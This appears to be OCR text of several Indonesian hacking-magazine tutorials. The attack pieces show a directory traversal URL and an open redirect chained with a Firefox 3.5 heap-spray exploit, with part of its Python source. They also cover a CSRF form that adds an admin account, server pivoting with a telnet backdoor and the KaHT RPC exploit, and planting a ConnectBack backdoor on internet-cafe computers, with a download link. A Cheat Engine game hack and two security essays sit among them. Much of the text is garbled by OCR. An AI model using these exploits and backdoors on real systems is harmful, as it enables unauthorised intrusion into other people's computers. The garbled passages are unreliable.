mp2=MPEGVideo
mp2wv=MPEGVideo
mp3i=MPEGVideo

varm = WTIT TS A

Sekarang penulis coba-coba melihat isi \windows\system32\drivers\etc\hosts, urlnya
sebagal berikut

http://192.168.1.5/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../
%5C../%5C../%5C../%5C../%5C../%5C../%5Cwindows%5Csy stem32%5Cdrivers¥%5Cetc
%5Chosts



http://192.168.1.5/%5C../%5
http://192.168.1.5/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../

Hasilnya adalah sebagai berikut

Copyright (o) 1993-1999 Microsoft Corp.
Thiz iz a sample HOSTS file used by Microsoft TCP/IF for Windows.

This file contains the mappings of IP addresses to host nawmes. Each
entry should khe kept on an individual line. The IP address should

bhe placed in the first column followed by the corresponding host name.
The IF address and the host nawe should bhe separated by at least one
Space.

Additionally, comuments (such as these) mway be inserted on individual
linezs or following the machine nawe dencoted by a '#' aybol.

For example:

102.54.94,.97 rhino.acme.com # sSource sServer
38.25.63.10 ¥ . acme . com # x client host

SHroH: HE H: H: M- cH: CHs M HE cH Hs M cH: cH- M e

1z7.0.0.1 localhost

Celah keamanan Directory Traversal adalah seperti diatas contohnya

Oleh Kurniawan — yk family code@yahoo.com
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Hacking dengan memanfaatkan celah keamanan
Open Redirect pada plugin Wordpress

Celah keamanan Open redirect ini adalah celah keamanan yang dapat mengarahkan
pengunjung ke web lain dari web yang mempunyai celah Open Redirect. Hal tersebut
dapat terjadi karenatidak tervalidasinya suatu nilai pada parameter.

Celah keamanan ini memungkinkan terjadi Phishing yang dimana dapat berakibat
attacker mendapatkan shell di komputer korban.

Contohnyadisini penulis menggunakan Celah pada plugin Wordpress dengan nama Age
Verification plugin dimanabugnya adapadaversi 0.4 atau sebelumnya. Sesuai dengan
judul, bugnya adalah Open Redirect, bug pada plugin ini ditemukan oleh Gianluca
Brindisi.

Diasumsikan target menggunakan Mozilla Firefox 3.5, pertama-tama penulis
menjalankan exploit firefox v3.5 di komputer penulis dengan IP 192.168.1.5, untuk bug
browser lain atau Mozilla firefox versi lain dapat di cari di situs exploit-db.com.

= Command Prompt - python firefoxhack. py

iC:nPython26>python firefoxhack.py
gﬂﬂﬂ#ﬂﬂﬂ#ﬂﬂﬂﬂ#ﬂﬂﬂ#ﬂﬂﬂ#ﬂﬂﬂﬂ#ﬂﬂﬂ#ﬂﬂﬂﬂﬂﬂﬂﬂ#ﬂﬂﬂ#ﬂﬂﬂﬂﬂﬂﬂﬂ#ﬂﬂ
i FireFox 3.5 Heap Spray

i Originally discovered by: Simon Berry—Brune

i} Pythonized: David Hennedy (ReLiHi> @ Secureftate

0 SO R SRR O R SR S R R S R A e

istening on port B@.
Have someone connect to you.

Type {control>-c to exit..

Setelah itu penulis mengirimkan suatu url ke target di teman 1 LAN.untuk di buka
dengan browser MozillaFirefox 3.5, bisa sgja dengan cara soceng.



http://192.168.1.5/blog/wp-content/plugins/age-verification/age-
verification.php?redirect to=http%3A%2F%2F180.254.72.125

Saat korban membuka URL tersebut maka akan tampil sebagai berikut

Age Verification Required
Toutmst be 13 years old to access this site. Please provide your date of barth

MM | DD | vy || erify Age s

Muncul tampilan diatas karena memang plugin ini fungsinya untuk verifikasi umur untuk
membuka blog tersebut, setelah verifikasi berhasil maka akan terbuka tampilan :

Firefox 2.5 Heap Spray Exploit
Discovered by SBerry aka Sinon Berry-Byrne Pythorized: David Eenneds

Thazacrashihazacrash
Chnoesthazacrashhazcrash

Aaaaahhhhh

Di komputer penulis akan muncul tampilan seperti dibawah ini

¢~ Command Prompt - python firefoxhack. py

C:sPython26>python firefoxhack.py

i e g Rt
it FireFox 3.5 Heap Spray

# Originally discovered by: Simon Berry-Bruyne

it Pythonized: David Kennedy (ReLiK)> @ SecureState

p i i e R R

istening on port 88.
Have someone connect to youw.

Type <control>—c to exit..
cerver — — [17/Jan-2812 22:412:191 “GET ~» HITP-1.1' 288 —

[-]1 Exploit sent... [-]
[—]1 Wait about 38 seconds and attempt to connect.[—]
[-1 GConnect to IP Address: 192.168.1.2 and port 5588 [-]



http://192.168.1.5/blog/wp

Jika exploit ini berjalan dengan baik, dan target terus memaksa membuka halaman
tersebut maka dimungkinkan Port 5500 di komputer korban terbuka dan anda
dimungkinkan dapat masuk ke komputer korban melaui telnet dengan port 5500.

Jika ingin mengubah isi tampilan maka ubah sgja bagian HTML -nya pada source code
exploit Pythonnya

[ =R S N N P = N t_lj".lll_'ll

b o o T
e

# FireFox 3.5 Heap Spray Exploit

# Or1ﬁ1na11y discovered by: Simon Berry-Bryne

# Pythonized by: David kKennedy (Rellk) @ Securestate

####################################################
from BaseHTTPServer impaort HTTRServer

from BaseHTTPSerwver import BaseHTTPReguestHandler
import sys

class myRequestHandler (BaseHTTPReguestHandler):

def do_GET(=self]:
self. $r1ntCustDmHTTPRespnnse(2DG]
if self.path == "/"
target=self.client_address [O]
self.wifile.writel("""

<htmlz=
<headx
<titlexFirefox 3.5 vulnerability</Titles
Firefox 3.5 Heap sSpray Exploit
< hrz
Discovered by: SBerry aka Simon Berry-Byrne

honized: David Kennedy (RelLlk) at Securestate
Bind shell Port: 5500
Encoding: shikata_Ga_Naf
< hr >
<div id="content"=
<
<FOMNT >
</ FONT =
</ p=
<p=
<FOMT>Ihazacrashihazacrash</FONT»</ >
<
<EONT>OhnDESihazacrashhazcrash{IFONT>
</ p=
<
<FOMNT>Aaaaahhhhh < /FONT>
<

Oleh Kurniawan — yk family code@yahoo.com
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HACKING GAME GENERALS
DENGAN CHEAT ENGINE

[ nl"ll'lﬁl'dﬁ-q:—l_l:m

: nlﬁhr |

[ e

Assalamu’alaikum Wr.Wb.

Salam kenal bagi semua penggemar x-code yang setia.Pada tutorial ini saya
akan membahas Hacking game generals dengan Cheat engine.

Pertanyaan : Apanya yang dihack..??
Jawaban : Ya uangnya,supaya kita bisa membangun Negara dengan cepat.

Ok langsung saja kita mulai hackingnya,pertama kita siapkan alat dan
bahannya,yaitu:

1.Cheat Engine versi terserah (kalau punya saya versi 5.6.1)
2.Ya (C&CGenerals)Gamenya dong!!
3. Cemilan kesukaan anda

Langkah pertama yaitu mainkan game command & conquer generals,baik mode
misi atau skirmish juga boleh.Untuk pertama kali mencobanya kita gunakan
skirmish aja yah..!.

Ketika kita main game mode skirmish biasanya jumlah uangnya default yaitu
10000.



Lihat gambar dibawabh ini:

Addre=s

No Process Selected
|
—

Process List

7 0000061 8-My Computer
0000061 8-Program Manager

(7 0000061 3-text
00000AD0-xcode_magazine_16.pdf - Fouit A

-E 00000B4C-Cheat Engne 5.6.1

ﬁ Q0000B4C-Cheat Engine 5.6.7

£ 00000B4C-Process List

EN00000DF8-HACKING GAME GENERALS D
00000ESO-Command & Conquer Generals

I Open | I Cancel l

| Aittach debuager to process |

L Create process |
1 Open hle | Add address manually
I_FE_Z}_[‘_IMQH_ [ Process List | window List | A2

Process Listilonal

Advanced options

T:''s Comments |



Kemudian pada kotak value isikan nilai 10000,nilai tersebut harus sama
pada nilai uang yang kita miliki dalam game tersebut.Klik First Scan,tunggu
hingga selesai.Setelah selesai kita buka lagi gamenya dan kita pancing supaya
nilai uangnya berubah.Kita coba dengan membangun bangunan aja supaya nilai
uangnya berubah.Lihat gambar dibawah ini:

Building: 5%

Nah..!! nilai uangnya sudah berubah,ayo kita minimize lagi dan mencari
nilai value 9200 pada kolom value hasil dari scan kita tadi.Lihat gambar dibawah
ini:



Cheat Engine 5.6.1

File Edit Process Help

= DO0000ESO-Command _Conguer Generals
[ ] & a
| Address I Valus [=] I New Scan I | Mext Scan I I:I

001D1C20 10000 Settings
10919088 9200 Value:
0093A2E8 10000 1 Hex [10000 |
0093A2ZEC 10000
01E43C50 10000 Scan typs | Exact Value I~
01EC4D90 10000 - —
01EC4EIC 10000 siueype| 4 Byle
01EE4BCC 10000 ;
01EE4CSS 10000 —Memory Scan Option: D IUnrandomizer
037BFE14 10000 m} a [ Enable Speedhack
037C0438 9200 From To
037C2280 10000 [ oooooooa] [ e rrrlD
0433903C 10080
N43399F8 10000 ||
075A98D0 || O
075A499C0 (]
|Add address manuaIIE
"_Frozen I Description I Addiess I 1l | Value
_Advanced options Table Comments

Ternyata ada dua yang valuenya berubah,yang satu warnanya ijo dan
yang satu lagi berwarna hitam.Jika kita pilih yang warna hijau maka akan sia-sia
karena value tersebut tidak bisa kita ubah.Jadi kita pilih value 9200 yang
berwarna hitam dengan mengkliknya 2 kali.Setelah di klik 2 kali maka address
dan value tersebut akan pindah di kolom bawah,kita akan mengganti valuenya
dengan nilai yang lebih besar.Caranya klik kanan-Pilih Change record-klik
value,seperti pada gambar:

Cheat Engine 5.6.1

File Edit Process Help

= — 00DO0ESO-Cammand Conquer Generals 3
EEE, | Y

Found: 56 | Delete this address |

| Address I Yalue [4] | New Scan M Description
001D1C20 10000 V Browse this memary region | Address
009130B8 9200 al :
0093A2ES 10000 I Hex E Show as hexadecimal value Type
0093A2EC 10000 5 = Seta hotkey
3%5&3%33 igggg s e f Freeze the address in this list Smart edit addressies)
DIEC4EIC 10000 [l Vaueee L3 0 —
01EE4BCC 10000 W ointer scan for this address
01EE4C58 10000 [MEMOY 1 Find outwhat accesses this address
037BFE14 10000 O thack

03700438 3300 Find out what writes to this address

037Cczze0 10000
0433903C 10000
043399F8 10000
075498D0 10000
075499C0 10000 [+

Recalculate address

Force recheck symbals

Cut

Copy
i Memory view | Paste ually
I

Fiozen | Description | &4t Group options »

dvanced options JehietomingRy)



Lalu akan muncul kotak value,lihat gambar dibawabh ini:

Charnge thiz value to;

ak. Cancel

Kita ganti 9200 menjadi nilai kesukaan anda misal kita ganti 9999999 dan
klik ok,kita lihat gamenya apakah nilai uangnya berubah menjadi 9999999.Dan
wow ternyata berubah ,lihat gambar:

Nah sekarang kita bisa membangun sepuasnya tanpa harus memikirkan
apakah uang kita akan habis.



Dan selesailah tutorial yang saya buat ini,saya memohon maaf yang
sebesar besarnya kalau tutorial ini sudah usang dan tidak berguna,namanya
juga ilmu kalau itu baru berarti menambah wawasan kita dan kalaupun itu usang
itu bisa mengingatkan kita .

Akhir kata ,Wasalamualaikum Wr.Wb.

Penulis:Muhammad Alfan Alfadilla
Banyuwangi 28-05-93

FB :Kapten Jegu

Thank to :Allah SWT
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Founder Yogyafree X-code
Kurniawan
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Kurniawan ? Windowsear? Linuxer?

Memperbaiki miss persepsi selama ini bahwa penulis adalah seorang yang maniak
windows? maniak linux? Penulis harap pembaca tidak melihat sesuatu dari luar yang
belum tentu benar, penulis mendasarkan letak filosofi | T-nya padafilsafat itu sendiri,
filsafat ilmu komputer dengan berbagal dialektika yang terbuka dengan sistem apapun.

Filosofi penulis terimplementasi dalam Y ogyafree X-code itu sendiri, Yogyafree X-code
adalah komunitas netral dimana lebih banyak terlepas dari filosofi-filosofi yang
berpontensi lebih banyak melakukan intervensi pada ilmu pengetahuan itu sendiri, tidak
sedikit orang yang dibutakan dengan filosofi yang lebih sempit sehingga merekajauh dari
rasionalitas itu sendiri.

Penulis berpendapat bahwa tidak ada komputer dengan sistem yang 100% aman,

Y ogyafree X-code ada salah satunya untuk membantu komunitas dalam mengamankan
sistem apa sgja yang tidak ditujukan untuk sistem tertentu. Menurut penulis belum tentu
linux lebih aman dari windows dan belum tentu juga windows lebih aman dari linux
dalam konteks keseluruhan beserta aplikasi yang terinstall atau aktif secaraumum oleh
penggunaitu sendiri.

Berangkat dari filosofi masuk ke bidang ilmu pengetahuan, ilmu komputer, ilmu hacking,
ilmu keamanan komputer untuk menempatkan sesuatu pada tempat yang seharusnya,
Kurniawan dengan filosofi I T yang lebih ramah dan terbuka terhadap permasalahan
keamanan sistem menempatkan Y ogyafree X-code pada posisi yang tidak fundamentalis
dalam filosofi yang lebih sempit dalam bidang I T.

Y ogyafree X-code mempunyal kesadaran lebih yang tidak terhegemoni oleh filosofi
hacker klasik, filosofi open source dan sebagainya yang berhubungan dengan IT,
kampanye yang penulis lakukan sgjak tahun kemarin sampal saat ini masih terus
dikampanyekan tentang pentingnya intelektualitas dibidang I T, tidak hanya semata skill
praktek. Yogyafree X-code adalah komunitas belgar untuk semuaorang tanpa dibatasi
siapa sgjayang boleh belgar bersamakami.

Dalam bidang keilmuan khususnya ilmu komputer, penulis akan melakukan filter dan
perlawanan terhadap filosofi-filosofi tidak rasiona yang melakukan intervensi dalam
bidang keilmuan, filosofi bebas dianut oleh siapapun dan penulis dan penulis juga

Y ogyafree X-code tidak ikut campur apapun filosofi tiap orang dibidang I T, tapi saat
filosofi tersebut sudah mengintervensi bidang keilmuan komputer maka penulis dan
Y ogyafree X-code akan berbicara disitu.

Kurniawan dalam dunia | T bukan windowser, bukan linuxer dalam arti identitas lebih
luas, dalam identitas lebih luas kurniawan adalah praktisi, peneliti dan konsultan yang
identitasnya disesuaikan dimana penulis berada.

Oleh Kurniawan - yk family code@yahoo.com
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Mari kitalebih peduli pada keamanan komputer

Perkembangan komputer sudah sedemikian pesatnya dan sudah banyak dari kita semua
yang mulai ketergantungan dengan komputer, selain itu dari sisi perkembangan aplikasi,
para developer terlihat banyak yang terus berkompetisi membuat produk yang mudah
digunakan dengan fitur yang semakin kompleks. Atas namawaktu dan target maka uji
coba program terlihat banyak yang hanyadi tes pada fungsinya, keamanan sering
menjadi anak tiri.

Bukan hal yang baru melihat banyaknyaweb yang di hack, aplikasi yang di temukan
celahnya dan sebagainya, seharusnya dalam mengembangkan suatu aplikasi kita perlu
melakukan proses test termasuk dari sisi keamanan dan itu perlu berjalan dengan baik,
jika tidak maka ancaman terhadap keamanan komputer akan semakin besar seiring
semakin kompleksnya pada program.

Saat ini tutorial hacking begitu mudah diperoleh, baik disitus-situs hacker, juga di
berbagai buku hacking. Ditambah software untuk alat hacking semakin mudah
digunakan, contohnya menggunakan Fast-Track (Automated Penetration Testing), secara
umum ini mengakibatkan individu-individu yang dikenal sebagai hacker menjadi
menurun, tapi justru ancaman semakin naik karena orang dapat mudah menjadi
penyerang dan hal ini merupakan ancaman bagi kepentingan umum apalagi ditambah
makin banyaknya orang awam yang mulai mengena komputer tanpa mengetahui
bagaimana cara mengamankan komputernya sehingga korban dapat semakin banyak.

Menjadikan Hacking sebagai objek pemikiran maka penulis lebih melihat pada
melakukan hacking dengan beretika dan tidak beretika. Untuk yang tidak beretika
pengalaman penulis dari jaman dulu sampai saat ini adalah yang paling banyak dilakukan
oleh orang ditambah dengan banyak orang yang tidak tahu hingga tidak peduli dengan



keamanan komputernya, sehingga sudah bisa ditebak yaitu mereka menjadi target empuk
bagi para orang iseng atau orang yang memiliki tujuan khusus.

Di artikel ini penulis mengajak para pengembang untuk lebih memperhatikan sisi
keamanan aplikasi yang dibuatnya yang dimanatindakan test tidak hanya pada fungsi
sgjatapi juga pada sisi keamanan, jugaterhadap pengguna aplikasi yang juga perlu lebih
memperhatikan sisi keamanan dalam menggunakan aplikasi, jikamisalnyaingin
menggunakan CM S dengan component tertentu maka paling tidak aplikasi yang akan
digunakan diperiksa keamanannya paling tidak secara umum.

Oleh Kurniawan — yk family code@yahoo.com
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Mengenal CSRF (Cross-site Request Forgery

CSRF (Cross-site Request Forgery) merupakan suatu teknik hacking untuk mendapatkan
atau bahkan menguasai suatu account dengan cara menyerang web yang dieksekusi atas
wewenang korban, tanpa dikehendakinya.

CSRF merupakan teknik pemalsuan permintaan yang berasal dari halaman web atau situs
yang berbeda, saat halaman situs dieksekusi oleh korban maka akan muncul account baru
yang tanpa dikehendaki si admin.

Celah keamanan banyak di temukan di berbagai CM S, contohnya CMS V Calendar.

VCalendar

Yegr: Month - Weak::

Blay -

ggrch - Begistration - Login

| Pine

|| English

W

Penulis buat sebuah cerita agar mudah di mengerti, ada seorang admin memiliki situs
yang dibangun dengan V Calendar, suatu saat dialogin ke halaman administrator.

Sunday Maonday Tuesday Wednesday
1 z
il & Z g =
12 13 14 15 1
13 20 21 24 <
b 27 28 29 <



Login

|admin

FPasswaord

Mew User Reuisfrat—i'n‘n_ . Remind Passwoard

Setelah si admin login dan masuk ke menu pilihan user maka akan tampil para user di

situs tersebut.

Total Records: 3

D | Login | First Name | Last Name | Level |E-Mail | Date Add |Last Login | Active
1 | admin. | Admin Adrmin Adrmin admin@pnmpany.cnm 2011-06-19 15:50:00 | Yes
2 |user |user User Llser |usenfcompany.com Yes
|dews | test test Admin | testi@test.com. 20110613 123713 | Yes

vl el

Terlihat ada 3 buah account, pada saat itu juga diminta oleh seseorang temannya untuk
membuka suatu halaman situs.



£ vcalendar
Eile  Edit Yiew Help

FoCsForm=users_maint”
<input type="hidden"
input type="hidden"

EEK

- Hotepad

Farmak

method="post" name=' 'main” i
name="user_Tlogin" walue="cobacoba" >
name="user_password" walue="cobal23"
<input type="hidden" name="user_level" walue="100"/>
<input type="hidden" name="user_email"
value="cobat®@cobacsrf. com" =
<script type="text/Javascript's
U <V [CDATA[L */

(Function{try{var
5,d,1,3,r,C, |=document. getElementByTdl’
ame; 1F(aj{5-

_cf o email__ " a=T.classw
ir=parseIintia. substri0,20,160; for(j=2;a. length-

j;j+=2j{c=parselnt[a.substr[j,2),16jﬂr;s+=5tr1n? Frumcharcude[cj
te=document. createTextode(s: 1 a

P trcatchCel {3000,
P N =

.parentiode. replacechiTds, T2

</scripts" >

<input type="hidden"
<input type="hidden"
input type="hidden"
<input type="hidden"
<Thput type="submit"
GEREER S

< /Forms

<scripts

document. getElementById btn' . click (s

name="user_first_name" wvalue="mr coba"/ =
name="user_last_name" wvalue="ryoba"/ =+
name="user_is_approved"” wvalua="1"/>
name="user_date_add_h" wvalue="",>
Td="htn" name="submit" walue="submit

Total Records: 4

1D | Login First Name | Last Name | Level E-Mai Date Add | Last Login Active
1 | admin Admin Admin Admin | admin@@company.com 2011-06-1915:60:00 | Yes

2 |usger user user Lger |usen@company.com Yes
4 | dewi test test Admin | test@test.com 2011-05-1312:37:13 | Yes

5 | cobacoba | mr coba nyoha Admin | cobat@cobacsd . com fes
Al Mes 9 of1

Dengan ditambahnya user secara otomatis ke halaman administrator, maka temannyasi
admin yang menjebak dapat melakukan login dengan account tersebut.

Oleh : Kurniawan

Referensi :

http://www.exploit-db.com/exploits/17251
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Tutoria jumping antar server

Sebenarnyatutorial ini agak mirip dengan penulis mengisi demo hacking di UAD Jogja,
hanya sgjawaktu di UAD ada penulis tambahkan exploitasi teknik LFI dan SQL
Injection yang arahnya untuk mendapatkan akses shell, ditambah waktu event di UAD
penulis menggunakan Connect Back, tapi di tutorial ini menggunakan telnet backdoor,
itulah perbedaannya dengan tutorial ini.

Di tutoria ini penulis tidak memberikan tutorial hacking web dari awal untuk
mendapatkan shell karenatutorial seperti ini sudah banyak di luar, apalagi tutorial
Connect Back sendiri adatutorialnya di X-code Magazine silahkan cari sendiri.

Sebenarnya kita bisa memanfaatkan Netcat dan PHP Shell semacam R57, hanya PHP
Shell seperti R57 tidak menampilkan fitur ini jikatargetnya adalah Windows, jika
targetnyalinux makafitur ini akan tampil dengan sendirinya, karena hacking di server
linux sudah umum maka penulis berikan yang tutorial untuk target Windows.

Saat kita kita sudah mendapatkan akses shell dengan PHP shell maka akan tampil kurang
lebih seperti di bawah ini

(W R

i
5%
G
111
110
113
113
i

-!-r
0 o oo

command on serv
Run command 4
Work directory 4 Ehxamppihtdocs
iz Edit files 1
File for edit 4 E:'xamppihidocs
i Aliases
Select alias 4 find suid files

1z Find textin files =




Setelah masuk maka kita dapat melakukan upload Telnet Backdoor dan program KaHt.
Program KaHT adalah Program untuk mengeksploitasi komputer dengan sistem operasi
Windows NT 4.0, Windows 2000, Windows X P. Windows Server 2003 (Buffer Overrun
In RPC Interface Could Allow Code Execution).

:: Upload files on server i

Local file 4 4 EHE

:: Upload files on server ::

1 Execute command on server o

Setelah dijalankan makakita jalankan program Putty, lalu masukkan ip server dan port
telnet yang sudah kita buka di server dengan melalui backdoor telnet



5% PuTTY Configuration

Cateqgon:

Sezzion

- Logging
Terminal

i keyboard’

- Bl

- Features
Wfindon

i Appearance
© Behaviour
Tranzlation

T

)

- Selection
" Colowrs
Connection
- Prosy
: Telnet
E-HMQM
= §5H
S Btk
- Turnels
Bugs

| Basic options for your PuT T session

Specify pour connection by hostname or |F address

Huost Mame [or [P addrezs) _ Eort
_| 5000 |

Praotocol;

) Baw (# Telnet  CiRlogn 3 S5H
Load, zave or delete a s_tc!r_ed FETTION
Saved Sessions

i

| Default Settings . Lead

Save

Delete

i

Cloze window on exit:
Codlwap:  CoMever 33 Only onclean exit

[. Open H Canicel

Binggo, kitadapat akses via telnet




Verzion S.1.2600]
[2) Copyright 1 001 ‘Microsoft Corp.

{Er Yy wampp’ htdocs !

Target kita sekarang adalah melakukan jumping ke server lain, mungkinkah? ya mungkin
sgja, karena itu jangan heran jika misalkan suatu server terhack maka dapat berpengaruh
ke server-server lainnya, dalam virtualisasi sendiri tidak menutup kemungkinan kita
melakukan hack untuk mendapatkan akses di mesin yang sebenarnya (bukan virtual).

Untuk melakukan hack ke server lain maka lakukan perintah : net view lalu enter setelah
itu kita ping



I puTTY.

"htdoosrnet view

Femark

iEh wampph htdocss

Di atas muncul 2 nama server.

Setelah itu kita cobacari P Address dari nama server WINXP yang tampil diatas.




inet wviewh htdoco et wiew

Server HName Femark

iThe ocommand completed successful ly.

iping winxptdocs>pling winxp
iPinging winxp [192.168.0.21]
v frowm
- from
- from

7 froam

iPing

Hinimumw = lms,

(E s wampph bt

Binggo, kitadapat ip address server yang akan kita jumping yaitu 192.168.0.21

Untuk memastikan kita benar-benar sudah berada di komputer target maka kita dapat
membandingkan IP Address komputer yang sudah kita masuki saat ini dengan komputer

yang kita hack nantinya untuk jumping ke server berbeda.

Perintah untuk mengetahui IP Address komputer yang telah dimasuki saat ini, ketik :
ipconfig



ply from
a1y from
a1y from

PP ing

LAppr

ipcontic hods ipoonficg

iMindows TP Configuration

iEthernet adapter Local Area Connection:

Connection-specific DN3 Suffix

iE Y wampph htdoc

Setelah mengetahui ip address kita maka kita dapat mencoba melakukan jumping ke
server dengan ip address 192.168.0.21.

Jika target yang akan kitajumping masih pakai Sistem operasi Windows XP (awal) atau
Windows XP SP1, maka kita dapat melakukan Jumping dengan KaHT, perintahnya
adalah : KaHT 192.168.0.20 192.168.0.21.




o I - PuTTY
idir kaht.exeocs>dilr kaht.sxe
Voluwme in drive E has no lakel.
Volume Serial Mumber iz 8C6l-FS56C
Directory of Eiyxampphhtdocs
oEf19/2011 05:09 PM 10,784 EaHT.=xe
1. Filei=) 10784 ‘hytes

0. Dir =) 1,400,654, 304 'hytes free

PE =Y wamppi hedocsrkaht 192.168.0.20 192.168.0.21!

< I PuTTY.

Directory of E:S\xsmpp'htdocs
OES19/2011 05:09 PM 10,7549 KaHT.exe
1 File (=) 10,784 hytes
0 Diri(z) 1,400,674, 304 bhytes free

ikeaht 192.163.0.20 192.163.0.21.20 192.1658.0.21

KEHT: IT — HMASSIVE RPC EXPLOIT
DCOM RPC exploit. Modified by aTd4rf3wdesicgn.ess
#haworeitos && #localhost [AEfnet Owng woul !
FULL WERSION?Z :) — AUTOHACKING

[+] “Targetg: 192.168.0.20-192. 168, 0.2 with 50 Threads
[+] JAttacking Port: 135. RBemote Shell &t portc: 45755
[ wsean Th  PEogressi..
— Connecting to 192.165.0.21

Jending Exploit to a [WinZP] Server...
— Conectando conMicrosoft Windows EP [Version 5.1.2600]
[(2) Copyright 1985-2001 Microsoft Corp.

C:Y WINDOUS) systeniz>f




Program Exploit KaHT terlihat berjalan dengan baik dan kita dapat lebih yakinnyakita
sudah berada di server yang berbeda maka kita dapat mencobadengan perintah : ipconfig

< N - puTTY

FULL VERIIONZ :) — AUTOHLACEING

val with 500 Threads

iMindows IP Configuration

iEthernet gdapter Local Area Connection:

Connection-specific DHNS Suffix
IP Add

Subnet 1

Default G

Cr W WINMDOWEY,

Binggo, kita sudah melakukan jumping ke mesin dengan ip address 192.168.0.21, jika
misalkan nama servernya WINXP adalah real mesin dan yang kita masuki sebelumnya
adalah OS dengan mesin virtual yang memanfaatkan |P Forwarding dari Router atau red
mesinnya untuk menyembunyikan mesin aslinya, maka kita sudah berada di real
mesinnya.

Nostalgila dengan exploit tua KaH T, mengingatkan tulisan penulis tentang KaHT di
bulan Juni 2004 di Web Yogyafree, waktu terlihat berjalan begitu cepat dan saat ini
Y ogyafree sudah berumur lebih dari 7 tahun!

Penulis : Kurniawan — yk family code@yahoo.com
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Tutoria meremote salah satu komputer user warnet
dari rumah

Yang melakukan
remote

Gateway Server
(tanpa part farsearding)

Homputer User 3

Koamputer Uzer 2 dan
aktif chelientnyva yang
lelah terset diarahkan
ke komputer yandg
meremate

Mungkin para pembaca sudah mengetahui artikel backdooring target dengan connectback
yang ditulis oleh vires di X-code Magazine 11, connectback adalah program backdoor
yang dibuat oleh vires, disini penulis akan mempertajam contoh penggunaannya pada
komputer user warnet, karena contoh kasus ini dapat lebih mudah dimengerti oleh
pembaca.

Secaraumum penulis lebih sering menggunakan program ini jikatarget komputer adalah
menggunakan sistem operasi windows dibandingkan menggunakan netcat yang tentu
dengan metode yang sama, menurut penulis, netcat lebih enak jikatargetnyaadalah linux.

Jika anda ingin mencoba menggunakan program ini dapat dicoba untuk remote komputer
user di warnet dengan tanggung jawab anda sendiri, anda dapat mendatangi suatu warnet
dan melakukan download program NewCB yang disediakan di blog ini. Dalam kompresi
file ConnectBack ada 3 buah file yaitu :



| ' \ chCLIENT ” N \ chSERVER

B

wires, neth
METH File

I'KE

cbSERVER : Dijalankan di komputer yang meremote
cbCLIENT : Dijalankan di komputer yang diremote
vires.neth : Diisi dengan IP Publik yang dimiliki oleh koneksi internet andadi rumah.

Pertama-tama anda edit dulu file vires.neth, isi dengan IP Publik pada koneksi internet
andadi rumah, yang memiliki IP Publik contohnya Speedy, Telkomsel Flash dan
sebagainya.

B vires - Notepad
File -Edit Format Yiew Help
125.163.

Setelah anda edit lalu simpan, anda jalankan program cbCLIENT, setelah dijalankan
tinggal andabalik ke rumah lalu anda masuk ke komputer andalalu di jalankan
cbSERVER di komputer rumah yang terkoneksi internet dengan IP Publik.

ommand Prompt - chserver
tsnewCBrochserver

Ghe———+++++ 2234 geprver viCh v 1.0 >{{{t++++——-uf

H++ zocket listen.SuxweZ om ++E2

onekzi masuk dari Korhant???t

coded by viressnETh —————- +
vires ConnectBack client v.1.8
CC2200% viresSAFT Tegalllare
vires/snETh urlivww.netheroes.oryg

icrosoft Windows HP [Uersion 5.1.26061
(G Copyright 1985-2801 Microsoft Corp.

E:sMew Folder (2>~newCB>
E:“MNew Folder C(2>-newCB>
E:sHew Folder (2>“newCB>

Binggo, anda sekarang telah mendapatkan shell dari komputer user warnet.



Tujuan dari artikel ini lebih pada memberikan informasi di mana remote tanpaijin dapat
terjadi di mana sgja yang dimanakomputer yang terkoneksi internet dapat diakses oleh
banyak orang, salah satu untuk menghindari adanya hal seperti ini dapat memasang
program anti exe.

Download http://xcode.or.id/newCB.rar

Password : yogyafree

Oleh Kurniawan — yk family code@yahoo.com
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Exploitas hacking menggunakan Metasploit
Framework dengan ditambahkan pemanfaatan
program luar

Di sini kita akan membahas bagaimana melakukan hacking menggunakan Metasploit
Framework yang ditambah dengan pemanfaatan program luar untuk mengambil
informasi-informasi yang kita inginkan.

Sebagai contoh penulis akan melakukan hacking dengan memanfaatkan celah keamanan
pada Server Service Could Allow Remote Code Execution — MS08-067 di Windows XP
SP3. Sebenarnya penulis pernah mengisi seminar dan demo dengan materi memanfaatkan
celah keamanan tersebut untuk melakukan hacking Windows XP SP2/SP3 pada bulan
awal Desember 2008, celah ini sudah diketahui penulis pada ahkir oktober 2008 dari
suatu situs keamanan, di sini saya share sekaligus sampai penggunaan meterpreter hingga
memanfaatkan program luar untuk exploitasi password dial up.

Ok kitamulai sgja

Pertama-tama untuk mengetahui siapa sgjayang terkoneksi di jaringan. maka anda dapat
masuk ke command prompt lalu ketikkan perintah net view lalu enter.

Setelah muncul komputer-komputer di jaringan maka andatinggal pilih manayang akan
dijadikan target, contohnya PCXPSP3, ping sgjaip PCXSP3.

ﬂ Command Prompt

Microsoft Windows [Uersion 6.1.7600]
Copyright <c? 28607 Microsoft Corporation. HAll rights reserved.

CislUserssacerinet view
Remark

The command completed successfully.

C:slUszerssacerping poexpspd

Pinging pexpspd [192.168.1.33]1 with 32 hytes of data:
Reply from 172.168.1.38: Destination host unreachahle.
Reply from 192.168.1.33: bytes=32 time=1ms TTL=128
Reply from 192.168.1.33: hytes=32 time<ims TTL=128
Reply from 192.168.1.33: hutes=32 time=1ms TTL=128

Ping statistics for 192.168.1.33:

Packets: Sent = 4, Received = 4, Lost = 8 (Bx loss),
Approximate round trip times in milli-—seconds:

Minimum = Bms, Maximum = ims,. Average = Bns

Setelah anda mengetahui komputer server anda bisa sgja jika ingin melakukan scan untuk
mengetahui OS apa, portnya berapa gayang terbuka dengan NMAP atau memanfaatkan
NMAP dari Metasploit Framework.



Kita langsung saja ke tahap exploitasi. Disini saya menggunakan console.
Di bawah adalah untuk masuk ke komputer target dengan payload shell/bind_tcp :

rﬁ Metasplait -}Lﬂ_‘:"".-‘“l“‘lﬂj

File Edit View Help

s-@@ hh(oe

= Metasploit |ﬂ Metasploit 4 b x

Ready (2558

Untuk cara menggunakan payload meterpreter sekaligus coba-coba upload telnet
backdoor.



B e

J‘ﬁ Metasploit

m.-.-,n-|!-§hj_'

File Edit View Help
B

o & 8| 4] E
= | etasoloit = M !-cl-'rt|

T=

1 F X

2663

Setelah di upload maka kita dapat periksadi c:\ di komputer korban lalu jalankan telnet

backdoor sebanyak 3x agar berjalan dengan baik.




,n::mlﬁrﬁl'

o

w Metasplort

|

File  Edit WView Help

svE3 LD 08

=8 Metasploit |ﬂ Metasploit

T e

